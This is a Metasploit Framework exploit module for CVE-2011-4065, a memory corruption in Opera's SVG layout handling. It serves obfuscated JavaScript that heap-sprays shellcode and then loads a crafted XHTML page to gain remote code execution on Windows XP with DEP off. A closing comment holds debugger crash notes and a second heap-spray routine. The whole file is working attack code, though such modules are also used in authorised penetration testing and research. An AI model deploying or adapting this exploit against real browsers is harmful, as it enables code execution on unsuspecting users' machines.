##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote

	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Opera Browser 10/11/12 (SVG layout) Memory Corruption',
			'Description'    => %q{
				This module exploits a vulnerability in the bad nesting with SVG tags. Successfully
				exploiting leads to remote code execution or denial of service condition under
				Windows XP SP3 (DEP = off).  Best results of reliability using Opera v12.00 pre-
				alpha r1076 whereas that v11.xx will have less success (depending of opera.dll version).
				This module won't work against v10.xx because it was modified to exploit Opera
				upper to v11.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Jose A. Vazquez'
				],
			'Version'        => '$Revision$',
			'References'     =>
				[
					['CVE', '2011-4065'],
					['URL', 'http://www.beyondsecurity.com/ssd.html'],
					['URL', 'http://spa-s3c.blogspot.com/2011/10/spas3c-sv-006opera-browser-101112-0-day.html'], # English
					['URL', 'http://enred20.org/node/27'] # Spanish
				],
			'DefaultOptions' =>
				{
					'EXITFUNC'          => 'process',
					'HTTP::compression' => 'gzip',
					'HTTP::chunked'     => true
				},
			'Payload'        =>
				{
					'Space'    => 1000,
					'BadChars' => "\x00",
					'Compat'   =>
						{
							'ConnectionType' => '-find',
						},
					'StackAdjustment' => -3500
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# spray of ~ 450 MB
					[ 'Opera Browser (v11.xx - v12.00pre-alpha) / Windows XP SP3 (DEP-off)',
						{
							'SizeofSpray' => 900,
							'Ret' => 0x0c0c0c0c
						}
					]
				],
			# 'DisclosureDate' => '0day',
			'DefaultTarget'  => 0))
	end

	def on_request_uri(cli, request)
		mytarget = target

		if(request.uri =~ /\.xhtml$/)

			#Send file for trigger the vulnerability
			#  might not be necessary
			html = %Q|
			<html xmlns="http://www.w3.org/1999/xhtml" xmlns:svt="http://www.w3.org/2000/svg">
				<head>

				</head>
				<select1 style = 'padding-bottom: 8711px;background-image: url("HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH");' >
					<svt:svg>
						<svt:title style = 'pointer-events: visiblePainted;font: normal small-caps 120%/120% fantasy;' >
							<svt:svg>
								<svt:font>
									<svt:animateMotion>
										feFuncR
									</svt:animateMotion>
								</svt:font>
							</svt:svg>
						</svt:title>
					</svt:svg>
				</select1>
			</html>
			|

			#Send triggerer
			print_status("Sending stage 2 (Triggering the vulnerability)")
			var_contentype = 'application/xhtml+xml'

		else

			#Sending init HTML
			print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport} (target: #{mytarget.name})")

			return if ((p = regenerate_payload(cli)) == nil)

			shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(mytarget.arch))
			addr_word = Rex::Text.to_unescape([mytarget.ret].pack('V'), Rex::Arch.endian(mytarget.arch))

			var_file_trigger =  rand_text_alpha(rand(30)+2)

			var_timer_trigger = (rand(3) + 2) * 1000

			#Build the exploit
			var_url =  ((datastore['SSL']) ? "https://" : "http://")
			var_url << ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
			var_url << ":" + datastore['SRVPORT']
			var_url << get_resource

			js = <<-JS
			var shellcode = unescape("#{shellcode}");
			var size = shellcode.length * 2;
			var nopsize = 0x100000 - (size + 0x14);
			var buffer = unescape("#{addr_word}");
			while (buffer.length * 2 < nopsize) buffer += buffer
			var x = new Array();
			for ( var i =0; i < #{mytarget['SizeofSpray']}; i++ ) {
				x[i] = buffer + shellcode
			}

			function trigger() {
				document.write("<iframe src='#{var_url}/#{var_file_trigger}.xhtml'></iframe>");
			}
			JS

			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
			trigger_sym = js.sym('trigger')

			js = js.to_s + "setTimeout('#{trigger_sym}()',#{var_timer_trigger});"

			html = <<-HTML
			<html>
				<head>
					<script type="text/javascript">
					#{js}
					</script>
				</head>
			<html>
			HTML

			print_status("Sending stage 1 (Spraying the heap)")
			var_contentype = 'text/html'
		end

		#Response
		send_response(cli, html, { 'Content-Type' => var_contentype, 'Pragma' => 'no-cache' })

		#Handle the payload
		handler(cli)
	end
end


=begin
NOTE: This module is incomplete because Opera by default supports DEP (since version 9), but this exploit
only works with /noexecute=AlwaysOff.  The following explains the challenge we need to overcome in order
to support DEP-bypass:

So when I attach windbg, the crash always occurs at the following instruction:

	.text:676815C8                 mov     eax, [esi]   ; I later traced ESI all the way to [esp+118h+var_100]
	.text:676815CA                 mov     ecx, esi
	.text:676815CC                 call    dword ptr [eax+0Ch]  ; Crash occurs here
	.text:676815CF                 test    eax, eax
	.text:676815D1                 jnz     loc_674D8D8C

NOTE: A dirty way to overwrite ESI, but this may crash somewhere else before getting to the CALL:
bp 673f4cff ".echo \"Modify [ESP+118h+var_110] at 0x673f4cff \"; ed poi(esp+18)+2c 41414141; dc poi(esp+18); g"

Or if we something like this, it goes to a different code path (even though we have control of ESI) -- no crash:
.dvalloc /b 41410000 100
eza 41410000 "AAAAAAAAAAAAAAA...."
dc 41410000
bp 673f4cff ".echo \"Modify [ESP+118h+var_110] at 0x673f4cff \"; ed poi(esp+18)+2c 41410000; dc poi(esp+18); g"
bp 676815cc "r; g"

Usually, I get a crash like this with the exploit:

	0:000> r
	eax=67d31aab ebx=03b58560 ecx=04444388 edx=00000098 esi=04444388 edi=03b58660
	eip=74657300 esp=0012e4a4 ebp=0012e4d0 iopl=0         nv up ei pl zr na pe nc
	cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
	74657300 ??              ???

EAX comes from whatever is in ESI, but that pointer in ESI points to strings that reside in the .data
section found in Opera.dll:

	0:000> dc poi(esi)
	67d31aab  54687475 6e656b6f 00534254 74657300  uthTokenTBS..set
	67d31abb  412d7463 52687475 42547365 00005853  ct-AuthResTBSX..
	67d31acb  74657300 412d7463 52687475 42547365  .setct-AuthResTB
	67d31adb  00000053 74657300 412d7463 52687475  S....setct-AuthR
	67d31aeb  42547165 00000053 74657300 502d7463  eqTBS....setct-P
	67d31afb  44736552 00617461 74657300 502d7463  ResData..setct-P
	67d31b0b  42542d49 00000053 74657300 502d7463  I-TBS....setct-P
	67d31b1b  74696e49 44736552 00617461 74657300  InitResData..set

Apparently, EIP is actually just a string, but the program is treating it as a pointer by mistake.
The biggest problem here is that poi(esi) always points to a different string, as the following 3
examples show (different crashes):

	dc poi(esi)
	67d31ddf  69756200 6e69646c 6d614e67 00000065  .buildingName...  <--- In this case, EIP will be 00000065
	67d31def  69616d00 6572506c 65726566 4f65636e  .mailPreferenceO
	67d31dff  6f697470 0000006e 6e616a00 614d7465  ption....janetMa
	67d31e0f  6f626c69 00000078 67726f00 7a696e61  ilbox....organiz
	67d31e1f  6f697461 536c616e 75746174 00000073  ationalStatus...
	67d31e2f  69726600 6c646e65 756f4379 7972746e  .friendlyCountry
	67d31e3f  656d614e 67617000 65547265 6870656c  Name.pagerTeleph
	67d31e4f  4e656e6f 65626d75 00000072 626f6d00  oneNumber....mob

	dc poi(esi)
	67d30a98  2d677377 2d6d6469 64696365 6c74772d  wsg-idm-ecid-wtl  <--- In this case, EIP will be 6c74772d
	67d30aa8  00003373 2d706177 2d677377 2d6d6469  s3..wap-wsg-idm-
	67d30ab8  64696365 6c74772d 00003173 74636573  ecid-wtls1..sect
	67d30ac8  72313735 00000031 74636573 6b313735  571r1...sect571k
	67d30ad8  00000031 74636573 72393034 00000031  1...sect409r1...
	67d30ae8  74636573 6b393034 00000031 74636573  sect409k1...sect
	67d30af8  72333832 00000031 74636573 6b333832  283r1...sect283k
	67d30b08  00000031 74636573 6b393332 00000031  1...sect239k1...

	dc poi(esi)
	67d318b7  54736552 00005342 74657300 432d7463  ResTBS...setct-C  <-- In this case, EIP will be 432d7463
	67d318c7  43647261 74696e49 54736552 00005342  ardCInitResTBS..
	67d318d7  74657300 422d7463 68637461 696d6441  .setct-BatchAdmi
	67d318e7  7365526e 61746144 74657300 422d7463  nResData.setct-B
	67d318f7  68637461 696d6441 7165526e 61746144  atchAdminReqData
	67d31907  74657300 502d7463 74726543 54736552  .setct-PCertResT
	67d31917  00005342 74657300 502d7463 74726543  BS...setct-PCert
	67d31927  44716552 00617461 74657300 432d7463  ReqData..setct-C


Because the fact [EAX+0Ch] always points to a different string, the current exploit (which uses
heap spraying) simply relies on luck to get code execution.  Either we need a better crash, or find a way to
make it point to a predictable location.


Example of using VirtualAlloc to allocate memory for heap spraying:
/*
*  Heap spray for Opera that uses VirtualAlloc
*  Arguments:
*  @blocks     - an emtpy array
*  @code       - the payload
*  @offset     - padding to align the code
*  @chunk_max  - max size for each allocation
*  @blocks_max - max blocks
*/
function heap_spray(blocks, code, offset, chunk_max, blocks_max) {
	if (chunk_max < 0x7F000) {
		throw "This function is meant for size 0x7F000 or higher to trigger VirtualAlloc";
	}

	// Recalculate chunk_max to get the right allocation size
	chunk_max /= 2;

	// Create NOPs
	var nops = unescape("%u0c0c%u0c0c");
	while (nops.length < chunk_max) nops += nops;

	// Cretae Offset
	var offset_chunk = nops.substr(0, offset-code.length);

	// Extract the block to the right allocation size
	var block = offset_chunk + code + nops.substr(0, chunk_max-offset_chunk.length-code.length);

	// The chunk length must be a multiple of 16
	while (block.length % 8 != 0) block += unescape("%u0c");

	var shellcode = block.substr(0, (chunk_max-0x1c)/2);

	// Heap spray
	for (var i=0; i < blocks_max; i++) {
		// The extra unescape() seems necessary to trigger the heap spray
		blocks[i] = shellcode + unescape("%u4141");
	}
}

// We need to put the array outside the function so it'll spray
var blocks = new Array();
var code = unescape("#{code_js}");
heap_spray(blocks, code, 0x800, 0x80000, 0x100);
=end
